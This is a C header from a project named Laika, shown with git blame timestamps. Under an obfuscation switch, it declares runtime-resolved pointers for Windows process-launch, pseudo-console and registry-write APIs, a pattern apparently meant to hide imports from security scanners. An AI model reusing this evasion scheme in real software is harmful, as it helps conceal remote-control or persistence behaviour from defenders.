2022-07-08 04:23:39 +00:00
|
|
|
#ifndef LAIKA_OBF_H
|
|
|
|
#define LAIKA_OBF_H
|
|
|
|
|
|
|
|
#include "laika.h"
|
|
|
|
|
|
|
|
#ifdef _WIN32
|
2022-07-08 17:54:14 +00:00
|
|
|
# include <process.h>
|
2022-07-08 04:23:39 +00:00
|
|
|
# include <windows.h>
|
|
|
|
|
2022-10-06 01:36:49 +00:00
|
|
|
#ifdef LAIKA_OBFUSCATE
|
2022-07-08 04:23:39 +00:00
|
|
|
/* WINAPI types */
|
|
|
|
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
2022-07-12 21:04:29 +00:00
|
|
|
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
|
2022-07-08 21:12:27 +00:00
|
|
|
typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
|
|
|
|
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
2022-07-12 23:09:23 +00:00
|
|
|
typedef LSTATUS(WINAPI *_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
|
|
|
|
typedef LSTATUS(WINAPI *_RegCloseKey)(HKEY);
|
|
|
|
typedef LSTATUS(WINAPI *_RegSetValueExA)(HKEY, LPCSTR, DWORD, DWORD, const BYTE *, DWORD);
|
|
|
|
typedef LSTATUS(WINAPI *_RegQueryValueExA)(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
2022-07-08 04:23:39 +00:00
|
|
|
|
|
|
|
extern _ShellExecuteA oShellExecuteA;
|
2022-07-08 17:54:14 +00:00
|
|
|
extern _CreatePseudoConsole oCreatePseudoConsole;
|
2022-07-08 21:12:27 +00:00
|
|
|
extern _ClosePseudoConsole oClosePseudoConsole;
|
|
|
|
extern _CreateProcessA oCreateProcessA;
|
2022-07-12 23:09:23 +00:00
|
|
|
extern _RegOpenKeyExA oRegOpenKeyExA;
|
|
|
|
extern _RegCloseKey oRegCloseKey;
|
|
|
|
extern _RegSetValueExA oRegSetValueExA;
|
|
|
|
extern _RegQueryValueExA oRegQueryValueExA;
|
2022-10-06 01:36:49 +00:00
|
|
|
#else
|
|
|
|
|
|
|
|
/* disabling obfuscation by macro magic :O */
|
|
|
|
#define oShellExecuteA ShellExecuteA
|
|
|
|
#define oCreatePseudoConsole CreatePseudoConsole
|
|
|
|
#define oClosePseudoConsole ClosePseudoConsole
|
|
|
|
#define oCreateProcessA CreateProcessA
|
|
|
|
#define oRegOpenKeyExA RegOpenKeyExA
|
|
|
|
#define oRegCloseKey RegCloseKey
|
|
|
|
#define oRegSetValueExA RegSetValueExA
|
|
|
|
#define oRegQueryValueExA RegQueryValueExA
|
|
|
|
|
|
|
|
#endif
|
2022-07-08 04:23:39 +00:00
|
|
|
#endif
|
|
|
|
|
|
|
|
void laikaO_init();
|
|
|
|
|
|
|
|
#endif
|